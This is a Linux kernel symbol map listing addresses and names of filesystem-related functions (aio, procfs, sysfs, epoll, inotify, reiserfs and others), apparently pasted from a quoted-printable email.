1018a480 T aio_put_req=0A=
1018a52c T lookup_ioctx=0A=
1018a5c0 T aio_complete=0A=
1018a7d8 t aio_queue_work=0A=
1018a810 t aio_run_iocb=0A=
1018ab1c t __aio_run_iocbs=0A=
1018ac70 t aio_kick_handler=0A=
1018adec T kick_iocb=0A=
1018aef4 t aio_read_evt=0A=
1018afb8 t timeout_func=0A=
1018afe0 t io_destroy=0A=
1018b0ec T sys_io_setup=0A=
1018b500 T sys_io_destroy=0A=
1018b530 t aio_pread=0A=
1018b608 t aio_pwrite=0A=
1018b698 t aio_fdsync=0A=
1018b6cc t aio_fsync=0A=
1018b700 t aio_wake_function=0A=
1018b740 T io_submit_one=0A=
1018ba08 T sys_io_submit=0A=
1018bb54 T sys_io_cancel=0A=
1018bd30 T sys_io_getevents=0A=
1018c104 T seq_open=0A=
1018c1d8 T seq_read=0A=
1018c5cc T seq_lseek=0A=
1018c984 T seq_release=0A=
1018c9b0 T seq_escape=0A=
1018caa4 T seq_printf=0A=
1018cb1c T seq_path=0A=
1018cc24 t single_start=0A=
1018cc3c t single_next=0A=
1018cc5c t single_stop=0A=
1018cc60 T single_open=0A=
1018cd24 T single_release=0A=
1018cd5c T seq_release_private=0A=
1018cda4 T seq_putc=0A=
1018cdd4 T seq_puts=0A=
1018ce5c t xattr_permission=0A=
1018cf98 T vfs_setxattr=0A=
1018d10c T vfs_getxattr=0A=
1018d1b8 T vfs_removexattr=0A=
1018d2c0 t setxattr=0A=
1018d3d0 T sys_setxattr=0A=
1018d46c T sys_lsetxattr=0A=
1018d508 T sys_fsetxattr=0A=
1018d580 t getxattr=0A=
1018d694 T sys_getxattr=0A=
1018d728 T sys_lgetxattr=0A=
1018d7bc T sys_fgetxattr=0A=
1018d82c t listxattr=0A=
1018d910 T sys_listxattr=0A=
1018d990 T sys_llistxattr=0A=
1018da10 T sys_flistxattr=0A=
1018da68 t removexattr=0A=
1018dacc T sys_removexattr=0A=
1018db38 T sys_lremovexattr=0A=
1018dba4 T sys_fremovexattr=0A=
1018dbf4 t xattr_resolve_name=0A=
1018dc6c T generic_getxattr=0A=
1018dcdc T generic_listxattr=0A=
1018ddec T generic_setxattr=0A=
1018de6c T generic_removexattr=0A=
1018decc T simple_getattr=0A=
1018df10 T simple_statfs=0A=
1018df30 t simple_delete_dentry=0A=
1018df38 T simple_lookup=0A=
1018df94 T simple_sync_file=0A=
1018df9c T dcache_dir_open=0A=
1018dfd4 T dcache_dir_close=0A=
1018dff4 T dcache_dir_lseek=0A=
1018e1b0 T dcache_readdir=0A=
1018e3f4 T generic_read_dir=0A=
1018e3fc T get_sb_pseudo=0A=
1018e574 T simple_link=0A=
1018e64c T simple_empty=0A=
1018e6a4 T simple_unlink=0A=
1018e708 T simple_rmdir=0A=
1018e76c T simple_rename=0A=
1018e860 T simple_readpage=0A=
1018e8d0 T simple_prepare_write=0A=
1018e970 T simple_commit_write=0A=
1018e9d8 T simple_fill_super=0A=
1018eb84 T simple_pin_fs=0A=
1018ec30 T simple_release_fs=0A=
1018ec78 T simple_read_from_buffer=0A=
1018ed5c T simple_transaction_get=0A=
1018ee18 T simple_transaction_read=0A=
1018ee54 T simple_transaction_release=0A=
1018ee78 T simple_attr_open=0A=
1018ef50 T simple_attr_close=0A=
1018ef70 T simple_attr_read=0A=
1018f0a4 T simple_attr_write=0A=
1018f1b4 T __mark_inode_dirty=0A=
1018f330 t __writeback_single_inode=0A=
1018f744 T writeback_acquire=0A=
1018f76c t set_sb_syncing=0A=
1018f78c T write_inode_now=0A=
1018f84c T sync_inode=0A=
1018f864 T generic_osync_inode=0A=
1018f998 T writeback_in_progress=0A=
1018f9a4 T writeback_release=0A=
1018fa08 t sync_sb_inodes=0A=
1018fd54 T sync_inodes_sb=0A=
1018fe04 t __sync_inodes=0A=
1018fee8 T sync_inodes=0A=
1018ff34 T writeback_inodes=0A=
1018fffc t mpage_end_io_read=0A=
101900dc t mpage_end_io_write=0A=
10190194 t mpage_bio_submit=0A=
101901e4 t mpage_alloc=0A=
1019029c t do_mpage_readpage=0A=
10190780 T mpage_readpages=0A=
10190928 T mpage_readpage=0A=
1019096c t __mpage_writepage=0A=
10190f6c T mpage_writepages=0A=
101913ec T mpage_writepage=0A=
10191440 t dio_get_page=0A=
101915f8 t dio_complete=0A=
1019165c t finished_one_bio=0A=
10191768 t dio_bio_end_io=0A=
101917d0 t dio_bio_submit=0A=
10191844 t dio_cleanup=0A=
10191888 t dio_bio_complete=0A=
101919b8 t dio_bio_end_aio=0A=
101919fc t dio_new_bio=0A=
10191b38 t dio_bio_add_page=0A=
10191be8 t dio_send_cur_page=0A=
10191cdc t submit_page_section=0A=
10191df0 t dio_zero_block=0A=
10191ea4 T __blockdev_direct_IO=0A=
10192b90 t set_task_ioprio=0A=
10192c14 T sys_ioprio_set=0A=
10192e5c T sys_ioprio_get=0A=
101930ac T change_mnt_propagation=0A=
10193258 t propagation_next=0A=
101932b4 T propagate_mnt=0A=
101934b8 T propagate_mount_busy=0A=
101935b4 T propagate_umount=0A=
101936e4 T drop_pagecache=0A=
10193800 T drop_slab=0A=
1019382c T drop_caches_sysctl_handler=0A=
101938b0 t kernel_event=0A=
101939e8 t inotify_dev_queue_event=0A=
10193b48 t remove_kevent=0A=
10193bc4 t remove_watch_no_event=0A=
10193d04 t remove_watch=0A=
10193d4c T inotify_inode_queue_event=0A=
10193f74 T inotify_dentry_parent_queue_event=0A=
10194014 T inotify_get_cookie=0A=
10194034 T inotify_unmount_inodes=0A=
10194264 T inotify_inode_is_dead=0A=
101943c0 t inotify_poll=0A=
101944d8 t inotify_read=0A=
10194780 t inotify_release=0A=
10194af4 t inotify_ioctl=0A=
10194b4c T sys_inotify_init=0A=
10194d9c T sys_inotify_add_watch=0A=
10195148 T sys_inotify_rm_watch=0A=
101953e0 t inotify_get_sb=0A=
1019540c t ep_poll_safewake=0A=
101954f0 T eventpoll_init_file=0A=
10195508 t ep_release_epitem=0A=
10195550 t ep_ptable_queue_proc=0A=
10195604 t ep_unregister_pollwait=0A=
10195690 t ep_remove=0A=
10195740 t ep_free=0A=
10195858 T sys_epoll_ctl=0A=
10195d34 T eventpoll_release_file=0A=
10195e24 t ep_poll_callback=0A=
10195ee4 t ep_eventpoll_close=0A=
10195f18 t ep_eventpoll_poll=0A=
10195f9c T sys_epoll_wait=0A=
10196420 t eventpollfs_delete_dentry=0A=
10196428 T sys_epoll_create=0A=
101966b4 t eventpollfs_get_sb=0A=
101966e0 T sys_nfsservctl=0A=
1019699c t load_script=0A=
10196c28 t set_brk=0A=
10196ce0 t padzero=0A=
10196d24 t elf_map=0A=
10196e04 t load_elf_binary=0A=
10198290 t load_elf_library=0A=
101984f4 t dump_write=0A=
10198528 t dump_seek=0A=
101985b0 t maydump=0A=
101985f4 t notesize=0A=
10198630 t notesize=0A=
1019866c t writenote=0A=
10198764 t fill_note=0A=
1019877c t fill_prstatus=0A=
10198e20 t elf_core_dump=0A=
10199a08 T posix_acl_alloc=0A=
10199a48 T posix_acl_clone=0A=
10199ab0 T posix_acl_valid=0A=
10199ca0 T posix_acl_equiv_mode=0A=
10199e30 T posix_acl_from_mode=0A=
10199ea0 T posix_acl_permission=0A=
1019a0e8 T posix_acl_create_masq=0A=
1019a2e0 T posix_acl_chmod_masq=0A=
1019a48c T posix_acl_from_xattr=0A=
1019a600 T posix_acl_to_xattr=0A=
1019a688 t redo_inode_mask=0A=
1019a6b0 T dnotify_flush=0A=
1019a73c T fcntl_dirnotify=0A=
1019a930 T __inode_dir_notify=0A=
1019aa20 T dnotify_parent=0A=
1019aac4 T get_vmalloc_info=0A=
1019ab78 T task_mem=0A=
1019ac58 T task_vsize=0A=
1019ac64 T task_statm=0A=
1019acb8 T proc_exe_link=0A=
1019ade8 t pad_len_spaces=0A=
1019ae18 t show_map_internal=0A=
1019b0a4 t show_map=0A=
1019b0c0 t show_smap=0A=
1019b31c t de_put=0A=
1019b3a0 t proc_delete_inode=0A=
1019b454 t proc_read_inode=0A=
1019b488 t proc_alloc_inode=0A=
1019b4ec t proc_destroy_inode=0A=
1019b510 t proc_remount=0A=
1019b524 T proc_get_inode=0A=
1019b6d4 T proc_fill_super=0A=
1019b7a4 t proc_get_sb=0A=
1019b7c8 t proc_root_lookup=0A=
1019b854 t proc_root_readdir=0A=
1019b8ec t proc_fd_link=0A=
1019b9f4 t get_fs_struct=0A=
1019ba18 t proc_cwd_link=0A=
1019bae0 t proc_root_link=0A=
1019bba8 t proc_pid_environ=0A=
1019bc2c t proc_pid_cmdline=0A=
1019bd4c t proc_pid_auxv=0A=
1019bdc4 t proc_pid_wchan=0A=
1019be48 t proc_oom_score=0A=
1019be9c t proc_check_chroot=0A=
1019bfd8 t proc_check_root=0A=
1019c014 t proc_permission=0A=
1019c04c t proc_task_permission=0A=
1019c194 t maps_open=0A=
1019c1d8 t smaps_open=0A=
1019c21c t mounts_open=0A=
1019c2f8 t mounts_release=0A=
1019c370 t mounts_poll=0A=
1019c3f4 t proc_info_read=0A=
1019c4b0 t mem_open=0A=
1019c4c8 t mem_read=0A=
1019c6fc t mem_lseek=0A=
1019c740 t oom_adjust_read=0A=
1019c860 t oom_adjust_write=0A=
1019c938 t proc_pid_follow_link=0A=
1019c9d0 t proc_pid_readlink=0A=
1019cb14 t proc_readfd=0A=
1019cd6c t proc_pident_readdir=0A=
1019cf4c t proc_tgid_base_readdir=0A=
1019cf74 t proc_tid_base_readdir=0A=
1019cf9c t task_dumpable=0A=
1019cfbc t proc_pid_make_inode=0A=
1019d0bc t pid_revalidate=0A=
1019d178 t tid_fd_revalidate=0A=
1019d270 t pid_base_iput=0A=
1019d2ac t pid_delete_dentry=0A=
1019d2c4 t name_to_int=0A=
1019d330 t proc_lookupfd=0A=
1019d470 t get_tid_list=0A=
1019d50c t proc_pident_lookup=0A=
1019d8f8 t proc_tgid_base_lookup=0A=
1019d918 t proc_tid_base_lookup=0A=
1019d938 t proc_self_readlink=0A=
1019d9a0 t proc_self_follow_link=0A=
1019d9e8 T proc_pid_unhash=0A=
1019da6c T proc_pid_flush=0A=
1019da9c T proc_pid_lookup=0A=
1019dcd0 t proc_task_lookup=0A=
1019de3c T proc_pid_readdir=0A=
1019e100 t proc_task_readdir=0A=
1019e2f4 T proc_match=0A=
1019e33c t proc_file_read=0A=
1019e650 t proc_file_write=0A=
1019e688 t proc_file_lseek=0A=
1019e6d8 t proc_notify_change=0A=
1019e740 t proc_getattr=0A=
1019e780 t xlate_proc_name=0A=
1019e824 t proc_follow_link=0A=
1019e844 t proc_delete_dentry=0A=
1019e84c T proc_lookup=0A=
1019e920 T proc_readdir=0A=
1019eaf4 t proc_register=0A=
1019ec5c t proc_create=0A=
1019ed50 T create_proc_entry=0A=
1019ee38 T proc_symlink=0A=
1019eee8 T proc_mkdir_mode=0A=
1019ef64 T proc_mkdir=0A=
1019ef84 T free_proc_entry=0A=
1019f004 T remove_proc_entry=0A=
1019f230 t render_sigset_t=0A=
1019f334 t collect_sigign_sigcatch=0A=
1019f3ec T proc_pid_status=0A=
1019f850 t do_task_stat=0A=
101a018c T proc_tid_stat=0A=
101a01a8 T proc_tgid_stat=0A=
101a01c4 T proc_pid_statm=0A=
101a0270 t kmsg_open=0A=
101a0294 t kmsg_release=0A=
101a02bc t kmsg_read=0A=
101a032c t kmsg_poll=0A=
101a0394 t show_tty_range=0A=
101a0564 t show_tty_driver=0A=
101a0730 t t_start=0A=
101a078c t t_next=0A=
101a07c0 t t_stop=0A=
101a07c4 t tty_drivers_open=0A=
101a07e8 t tty_ldiscs_read_proc=0A=
101a08f8 T proc_tty_register_driver=0A=
101a0984 T proc_tty_unregister_driver=0A=
101a09b8 t proc_calc_metrics=0A=
101a09f0 t loadavg_read_proc=0A=
101a0b08 t uptime_read_proc=0A=
101a0cd0 t meminfo_read_proc=0A=
101a0f08 t fragmentation_open=0A=
101a0f2c t zoneinfo_open=0A=
101a0f50 t version_read_proc=0A=
101a0fc8 t cpuinfo_open=0A=
101a0fec t devinfo_start=0A=
101a10d8 t devinfo_next=0A=
101a125c t devinfo_stop=0A=
101a12ac t devinfo_show=0A=
101a1360 t devinfo_open=0A=
101a1384 t vmstat_open=0A=
101a13a8 t partitions_open=0A=
101a13cc t diskstats_open=0A=
101a13f0 t modules_open=0A=
101a1414 t slabinfo_open=0A=
101a1438 t show_stat=0A=
101a24a4 t stat_open=0A=
101a2524 t int_seq_start=0A=
101a2550 t int_seq_next=0A=
101a258c t int_seq_stop=0A=
101a2590 t interrupts_open=0A=
101a25b4 t filesystems_read_proc=0A=
101a261c t cmdline_read_proc=0A=
101a2694 t locks_read_proc=0A=
101a26c4 t execdomains_read_proc=0A=
101a272c T create_seq_entry=0A=
101a2758 t open_kcore=0A=
101a277c T kclist_add=0A=
101a2798 t storenote=0A=
101a2834 t read_kcore=0A=
101a2ef4 T disk_name=0A=
101a2fb8 T bdevname=0A=
101a2fec T __bdevname=0A=
101a3028 t part_attr_show=0A=
101a305c t part_attr_store=0A=
101a3094 t part_uevent_store=0A=
101a30bc t part_dev_read=0A=
101a3108 t part_start_read=0A=
101a3134 t part_size_read=0A=
101a3160 t part_stat_read=0A=
101a31b4 t part_release=0A=
101a31d0 T delete_partition=0A=
101a322c T add_partition=0A=
101a3330 t make_block_name=0A=
101a33b0 T register_disk=0A=
101a34dc T rescan_partitions=0A=
101a36f8 T read_dev_sector=0A=
101a37c8 T del_gendisk=0A=
101a38b8 t parse_solaris_x86=0A=
101a38bc t parse_freebsd=0A=
101a38c0 t parse_netbsd=0A=
101a38c4 t parse_openbsd=0A=
101a38c8 t parse_unixware=0A=
101a38cc t parse_minix=0A=
101a38d0 T msdos_partition=0A=
101a4078 T sysfs_setattr=0A=
101a4268 T sysfs_new_inode=0A=
101a4370 T sysfs_create=0A=
101a44bc T sysfs_get_name=0A=
101a4638 T sysfs_drop_dentry=0A=
101a46e8 T sysfs_hash_and_remove=0A=
101a4844 t subsys_attr_show=0A=
101a4878 t subsys_attr_store=0A=
101a48b0 t sysfs_read_file=0A=
101a4b0c t sysfs_write_file=0A=
101a4c98 t sysfs_open_file=0A=
101a4efc t sysfs_release=0A=
101a4f94 T sysfs_add_file=0A=
101a501c T sysfs_create_file=0A=
101a507c T sysfs_update_file=0A=
101a51cc T sysfs_chmod_file=0A=
101a52cc T sysfs_remove_file=0A=
101a52ec t sysfs_d_iput=0A=
101a53b8 t sysfs_new_dirent=0A=
101a5450 T sysfs_make_dirent=0A=
101a5508 t init_dir=0A=
101a5534 t init_file=0A=
101a5558 t init_symlink=0A=
101a556c t create_dir=0A=
101a5778 T sysfs_create_subdir=0A=
101a57a0 T sysfs_create_dir=0A=
101a5854 t sysfs_lookup=0A=
101a5b90 t remove_dir=0A=
101a5cd4 T sysfs_remove_subdir=0A=
101a5cec T sysfs_remove_dir=0A=
101a5ea0 T sysfs_rename_dir=0A=
101a5ff4 t sysfs_dir_open=0A=
101a6058 t sysfs_dir_close=0A=
101a611c t sysfs_readdir=0A=
101a63a8 t sysfs_dir_lseek=0A=
101a654c T sysfs_create_link=0A=
101a66b8 T sysfs_remove_link=0A=
101a66d4 t sysfs_follow_link=0A=
101a68d4 t sysfs_put_link=0A=
101a6918 t sysfs_fill_super=0A=
101a6a28 t sysfs_get_sb=0A=
101a6a4c t read=0A=
101a6be4 t write=0A=
101a6d2c t mmap=0A=
101a6d74 t open=0A=
101a6f10 t release=0A=
101a6f94 T sysfs_create_bin_file=0A=
101a6ff4 T sysfs_remove_bin_file=0A=
101a7018 t remove_files=0A=
101a7058 T sysfs_create_group=0A=
101a71cc T sysfs_remove_group=0A=
101a72a0 t devpts_remount=0A=
101a73e4 t devpts_fill_super=0A=
101a74f8 t devpts_get_sb=0A=
101a751c t get_node=0A=
101a757c T devpts_pty_new=0A=
101a7720 T devpts_get_tty=0A=
101a7778 T devpts_pty_kill=0A=
101a77e0 t scan_bitmap_block=0A=
101a7d00 t bmap_hash_id=0A=
101a7dd4 T reiserfs_choose_packing=0A=
101a7f2c t _reiserfs_free_block=0A=
101a819c T reiserfs_free_block=0A=
101a822c t __discard_prealloc=0A=
101a8338 T reiserfs_discard_prealloc=0A=
101a839c T reiserfs_discard_all_prealloc=0A=
101a8428 T reiserfs_init_alloc_options=0A=
101a8474 T reiserfs_parse_alloc_options=0A=
101a89d8 t dirid_groups=0A=
101a8a9c T reiserfs_allocate_blocknrs=0A=
101a9b58 T reiserfs_claim_blocks_to_be_allocated=0A=
101a9b70 T reiserfs_release_claimed_blocks=0A=
101a9b88 T reiserfs_can_fit_pages=0A=
101a9be8 T do_balance_mark_leaf_dirty=0A=
101a9c0c T replace_key=0A=
101a9cc0 T get_left_neighbor_position=0A=
101a9cfc T get_right_neighbor_position=0A=
101a9d40 T make_empty_node=0A=
101a9d9c T get_FEB=0A=
101a9e44 T reiserfs_invalidate_buffer=0A=
101a9f0c t balance_leaf_when_delete=0A=
101aa49c t free_thrown=0A=
101aa548 T do_balance=0A=
101af438 T set_de_name_and_namelen=0A=
101af6a8 T search_by_entry_key=0A=
101afb44 t get_third_component=0A=
101afbe4 t reiserfs_find_entry=0A=
101b0454 t reiserfs_lookup=0A=
101b05bc T reiserfs_get_parent=0A=
101b06c0 t reiserfs_add_entry=0A=
101b0d74 t drop_new_inode=0A=
101b0da8 t new_inode_init=0A=
101b0e24 t reiserfs_create=0A=
101b0fb8 t reiserfs_mknod=0A=
101b1160 t reiserfs_mkdir=0A=
101b1404 t reiserfs_rmdir=0A=
101b170c t reiserfs_unlink=0A=
101b1964 t reiserfs_symlink=0A=
101b1ba8 t reiserfs_link=0A=
101b1d44 t entry_points_to_object=0A=
101b201c t set_ino_in_dir_entry=0A=
101b20c8 t reiserfs_rename=0A=
101b2928 T reiserfs_delete_inode=0A=
101b2a28 t _make_cpu_key=0A=
101b2a58 T make_cpu_key=0A=
101b2b00 T make_le_item_head=0A=
101b2fa4 t file_capable=0A=
101b2fd0 t _get_block_create_0=0A=
101b3b2c t reiserfs_bmap=0A=
101b3b84 t reiserfs_readpages=0A=
101b3bb0 t real_space_diff=0A=
101b3c24 T sd_attrs_to_i_attrs=0A=
101b3d10 T i_attrs_to_sd_attrs=0A=
101b3db8 t inode2sd=0A=
101b41a8 t inode2sd_v1=0A=
101b44f4 T reiserfs_update_sd_size=0A=
101b4938 T restart_transaction=0A=
101b4a38 t reiserfs_make_bad_inode=0A=
101b4a68 T reiserfs_init_locked_inode=0A=
101b4aa8 T reiserfs_read_locked_inode=0A=
101b54dc T reiserfs_find_actor=0A=
101b5538 T reiserfs_iget=0A=
101b5604 T reiserfs_get_dentry=0A=
101b56c4 T reiserfs_decode_fh=0A=
101b5814 T reiserfs_encode_fh=0A=
101b5908 T reiserfs_write_inode=0A=
101b59a4 T reiserfs_new_inode=0A=
101b70cc T reiserfs_truncate_file=0A=
101b742c t reiserfs_readpage=0A=
101b7450 t reiserfs_prepare_write=0A=
101b7624 t reiserfs_aop_bmap=0A=
101b7644 t reiserfs_commit_write=0A=
101b78b4 T reiserfs_get_block=0A=
101b941c t reiserfs_get_blocks_direct_io=0A=
101b94e0 t reiserfs_writepage=0A=
101ba280 t reiserfs_get_block_create_0=0A=
101ba29c t reiserfs_invalidatepage=0A=
101ba44c t reiserfs_set_page_dirty=0A=
101ba4a8 t reiserfs_releasepage=0A=
101ba5b8 t reiserfs_direct_IO=0A=
101ba61c T reiserfs_setattr=0A=
101ba850 t reiserfs_file_release=0A=
101badcc t reiserfs_vfs_truncate_file=0A=
101bade8 t reiserfs_sync_file=0A=
101bae94 t reiserfs_unprepare_pages=0A=
101baf24 t reiserfs_copy_from_user_to_file_region=0A=
101bb0b0 T reiserfs_commit_page=0A=
101bb364 t reiserfs_submit_file_region_for_write=0A=
101bb650 t reiserfs_check_for_tail_and_convert=0A=
101bba34 t reiserfs_prepare_file_region_for_write=0A=
101bc27c t reiserfs_file_write=0A=
101be468 t reiserfs_aio_write=0A=
101be480 t reiserfs_dir_fsync=0A=
101be4a4 t reiserfs_readdir=0A=
101bec48 T make_empty_dir_item_v1=0A=
101beea8 T make_empty_dir_item=0A=
101bf190 t create_virtual_node=0A=
101bfc7c t check_left=0A=
101bfddc t check_right=0A=
101bff4c t get_num_ver=0A=
101c0404 t set_parameters=0A=
101c0474 t is_leaf_removable=0A=
101c05a0 t get_empty_nodes=0A=
101c0784 t get_lfree=0A=
101c0858 t get_rfree=0A=
101c091c t is_left_neighbor_in_cache=0A=
101c09ec t get_far_parent=0A=
101c0d34 t get_parents=0A=
101c0fb8 t get_neighbors=0A=
101c1174 t get_mem_for_virtual_node=0A=
101c12d8 t tb_buffer_sanity_check=0A=
101c12dc t clear_all_dirty_bits=0A=
101c12f8 t wait_tb_buffers_until_unlocked=0A=
101c15b0 T fix_nodes=0A=
101c3234 T unfix_nodes=0A=
101c338c T is_reiserfs_3_5=0A=
101c33d0 T is_reiserfs_3_6=0A=
101c3414 T is_reiserfs_jr=0A=
101c3458 t reiserfs_sync_fs=0A=
101c34d8 t reiserfs_write_super=0A=
101c34f4 t reiserfs_write_super_lockfs=0A=
101c35a4 t reiserfs_unlockfs=0A=
101c35bc t remove_save_link_only=0A=
101c368c T remove_save_link=0A=
101c3960 t finish_unfinished=0A=
101c3ee8 T add_save_link=0A=
101c416c t reiserfs_put_super=0A=
101c4368 t reiserfs_alloc_inode=0A=
101c439c t reiserfs_destroy_inode=0A=
101c43c0 t destroy_inodecache=0A=
101c43fc t destroy_inodecache=0A=
101c4434 t destroy_inodecache=0A=
101c446c t reiserfs_dirty_inode=0A=
101c4504 t reiserfs_clear_inode=0A=
101c45bc t reiserfs_parse_options=0A=
101c4a94 t switch_data_mode=0A=
101c4ac0 t handle_attrs=0A=
101c4bac t reiserfs_remount=0A=
101c4fec t load_bitmap_info_data=0A=
101c50b0 t read_super_block=0A=
101c53d8 t reiserfs_fill_super=0A=
101c660c t reiserfs_statfs=0A=
101c66cc t get_super_block=0A=
101c66f0 T reiserfs_warning=0A=
101c675c t sprintf_le_key=0A=
101c72e0 t prepare_error_buf=0A=
101c7acc T reiserfs_info=0A=
101c7b38 t reiserfs_printk=0A=
101c7b74 T reiserfs_debug=0A=
101c7b78 T reiserfs_panic=0A=
101c7bf4 T reiserfs_abort=0A=
101c7cb8 T reiserfs_hashname=0A=
101c7ce8 T store_print_tb=0A=
101c80e4 T print_cur_tb=0A=
101c8110 T check_leaf=0A=
101c83e8 T check_internal=0A=
101c8498 T print_block=0A=
101c8ea0 T print_statistics=0A=
101c8ea4 t check_objectid_map=0A=
101c8ea8 T reiserfs_get_unused_objectid=0A=
101c9054 T reiserfs_release_objectid=0A=
101c92f8 T reiserfs_convert_objectid_map_v1=0A=
101c9410 T leaf_paste_entries=0A=
101c9890 T leaf_paste_in_buffer=0A=
101c9d90 T leaf_insert_into_buf=0A=
101ca184 t leaf_copy_dir_entries=0A=
101ca924 t leaf_copy_boundary_item=0A=
101cbeac t leaf_copy_items_entirely=0A=
101cc1dc t leaf_item_bottle=0A=
101cd3d0 t leaf_delete_items_entirely=0A=
101cd6c0 T leaf_cut_from_buffer=0A=
101ce4c8 T leaf_delete_items=0A=
101ce85c T leaf_move_items=0A=
101cec3c T leaf_shift_right=0A=
101cecbc T leaf_shift_left=0A=
101ced94 t internal_define_dest_src_infos=0A=
101cf150 t internal_insert_childs=0A=
101cf3b0 t internal_delete_pointers_items=0A=
101cf588 t internal_move_pointers_items=0A=
101cf87c t internal_insert_key=0A=
101cf9e8 t internal_shift_left=0A=
101cfb08 t internal_shift_right=0A=
101cfc04 T balance_internal=0A=
101d0924 T B_IS_IN_TREE=0A=
101d0944 T copy_item_head=0A=
101d0960 T comp_short_keys=0A=
101d09f4 T comp_short_le_keys=0A=
101d0a48 T le_key2cpu_key=0A=
101d0e10 T comp_le_keys=0A=
101d0e2c T get_rkey=0A=
101d0f38 T decrement_bcount=0A=
101d0f84 T decrement_counters_in_path=0A=
101d0ff8 T reiserfs_check_path=0A=
101d1000 T pathrelse_and_restore=0A=
101d1074 T pathrelse=0A=
101d10d4 t is_tree_node=0A=
101d14fc T search_by_key=0A=
101d2f98 T search_for_position_by_key=0A=
101d37c4 T comp_items=0A=
101d3834 t prepare_for_delete_or_cut=0A=
101d49c4 t calc_deleted_bytes_number=0A=
101d4f3c t init_tb_struct=0A=
101d4fe0 T padd_item=0A=
101d4ff8 T reiserfs_delete_item=0A=
101d5684 T reiserfs_delete_solid_item=0A=
101d5e4c T reiserfs_cut_from_item=0A=
101d6858 T reiserfs_do_truncate=0A=
101d722c T reiserfs_delete_object=0A=
101d7300 T reiserfs_paste_into_item=0A=
101d74f0 T reiserfs_insert_item=0A=
101d790c T keyed_hash=0A=
101d7d4c T yura_hash=0A=
101d7e54 T r5_hash=0A=
101d7e90 T direct2indirect=0A=
101d8804 T reiserfs_unmap_buffer=0A=
101d8920 T indirect2direct=0A=
101d8d60 t init_journal_hash=0A=
101d8d8c t reiserfs_clean_and_file_buffer=0A=
101d8dc4 t disable_barrier=0A=
101d8e18 t allocate_bitmap_node=0A=
101d8ec0 t cleanup_bitmap_list=0A=
101d8fd4 t free_list_bitmaps=0A=
101d902c T reiserfs_allocate_list_bitmaps=0A=
101d90e8 T reiserfs_check_lock_depth=0A=
101d90ec t get_cnode=0A=
101d9154 t free_cnode=0A=
101d9194 t clear_prepared_bits=0A=
101d91c8 T reiserfs_in_journal=0A=
101d9458 t journal_list_still_alive=0A=
101d9480 t reiserfs_end_buffer_io_sync=0A=
101d955c t reiserfs_end_ordered_io=0A=
101d95ec t submit_logged_buffer=0A=
101d96b4 t submit_barrier_buffer=0A=
101d9740 t check_barrier_completion=0A=
101d97bc t write_chunk=0A=
101d9844 t write_ordered_chunk=0A=
101d994c t add_to_chunk=0A=
101d99d8 t alloc_jh=0A=
101d9a30 T reiserfs_free_jh=0A=
101d9ae8 T reiserfs_add_tail_list=0A=
101d9bcc T reiserfs_add_ordered_list=0A=
101d9cb0 t write_ordered_buffers=0A=
101d9f84 T reiserfs_async_progress_wait=0A=
101da034 t find_newer_jl_for_cn=0A=
101da074 t remove_journal_hash=0A=
101da160 t _update_journal_header_block=0A=
101da340 t del_from_work_list=0A=
101da378 t can_dirty=0A=
101da454 t flush_commit_list=0A=
101daba8 t get_list_bitmap=0A=
101dac54 t flush_journal_list=0A=
101db400 t flush_used_journal_lists=0A=
101db7ec T reiserfs_prepare_for_journal=0A=
101db8d8 T journal_mark_dirty=0A=
101dbbbc t journal_compare_desc_commit=0A=
101dbc30 t journal_transaction_is_valid=0A=
101dbef8 t brelse_array=0A=
101dbf48 t journal_read=0A=
101dceb8 t alloc_journal_list=0A=
101dcfb8 t release_journal_dev=0A=
101dd05c t free_journal_ram=0A=
101dd15c T journal_init=0A=
101ddae0 T journal_transaction_should_end=0A=
101ddba8 T reiserfs_block_writes=0A=
101ddc1c T reiserfs_allow_writes=0A=
101ddc60 T reiserfs_wait_on_write_block=0A=
101ddd3c t queue_log_writer=0A=
101dde2c t remove_from_transaction=0A=
101de000 t flush_async_commits=0A=
101de0b4 T journal_mark_freed=0A=
101de518 T reiserfs_update_inode_transaction=0A=
101de53c T reiserfs_restore_prepared_buffer=0A=
101de648 t do_journal_end=0A=
101df450 t do_journal_begin_r=0A=
101df884 t journal_join=0A=
101df8ec T reiserfs_flush_old_commits=0A=
101df9b4 T journal_begin=0A=
101dfaf4 T reiserfs_persistent_transaction=0A=
101dfc0c T journal_join_abort=0A=
101dfc74 T journal_end_sync=0A=
101dfd50 T journal_end=0A=
101dfea0 T reiserfs_commit_for_inode=0A=
101e0084 T reiserfs_end_persistent_transaction=0A=
101e0118 t do_journal_release=0A=
101e0314 T journal_release_error=0A=
101e0330 T journal_release=0A=
101e034c T reiserfs_journal_abort=0A=
101e03f8 T reiserfs_resize=0A=
101e0b5c t sd_bytes_number=0A=
101e0b64 t sd_decrement_key=0A=
101e0b8c t sd_is_left_mergeable=0A=
101e0b94 t print_time=0A=
101e0bc8 t sd_print_item=0A=
101e0f10 t sd_check_item=0A=
101e0f14 t sd_create_vi=0A=
101e0f20 t sd_check_left=0A=
101e0f70 t sd_check_right=0A=
101e0f78 t sd_part_size=0A=
101e0fc4 t sd_unit_num=0A=
101e0fd0 t sd_print_vi=0A=
101e1004 t direct_bytes_number=0A=
101e1024 t direct_decrement_key=0A=
101e104c t direct_is_left_mergeable=0A=
101e1260 t direct_print_item=0A=
101e12ec t direct_check_item=0A=
101e12f0 t direct_create_vi=0A=
101e1300 t direct_check_left=0A=
101e131c t direct_check_right=0A=
101e133c t direct_part_size=0A=
101e1344 t direct_unit_num=0A=
101e1350 t direct_print_vi=0A=
101e1384 t indirect_bytes_number=0A=
101e13b4 t indirect_decrement_key=0A=
101e13dc t indirect_is_left_mergeable=0A=
101e15cc t print_sequence=0A=
101e1620 t indirect_print_item=0A=
101e17e0 t indirect_check_item=0A=
101e17e4 t indirect_create_vi=0A=
101e17f4 t indirect_check_left=0A=
101e1808 t indirect_check_right=0A=
101e1828 t indirect_part_size=0A=
101e1830 t indirect_unit_num=0A=
101e183c t indirect_print_vi=0A=
101e1870 t direntry_bytes_number=0A=
101e1898 t direntry_decrement_key=0A=
101e18c0 t direntry_is_left_mergeable=0A=
101e1900 t direntry_print_item=0A=
101e1c24 t direntry_check_item=0A=
101e1c50 t direntry_create_vi=0A=
101e2060 t direntry_check_left=0A=
101e2124 t direntry_check_right=0A=
101e21e8 t direntry_part_size=0A=
101e2244 t direntry_unit_num=0A=
101e225c t direntry_print_vi=0A=
101e235c t errcatch_bytes_number=0A=
101e2384 t errcatch_decrement_key=0A=
101e23a8 t errcatch_is_left_mergeable=0A=
101e23d0 t errcatch_print_item=0A=
101e23f4 t errcatch_check_item=0A=
